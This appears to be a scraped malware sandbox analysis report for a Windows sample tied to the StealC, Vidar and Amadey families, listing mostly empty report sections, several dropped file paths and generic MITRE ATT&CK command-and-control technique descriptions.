Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFIJKKEHJDHJKFIECAAKFIJJK

C:\ProgramData\AFCFHDHIIIECBGCAKFIJ

C:\ProgramData\CBKJJJDHDGDAAKECAKJDAEGCBK

C:\ProgramData\CFCBFBGDBKJKECAAKKFHDBFHII

C:\ProgramData\DGDBFBFC

C:\ProgramData\EGCFHDAK

C:\ProgramData\FBGHCGCAEBFIJKFIDBGH

C:\ProgramData\FHDAEHDAKECGCAKFCFIJ

C:\ProgramData\FIIEGDBAEBFIIDHJJJEBAAAKJE

C:\ProgramData\freebl3.dll

Windows Analysis Report
tAa6xNsucX.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre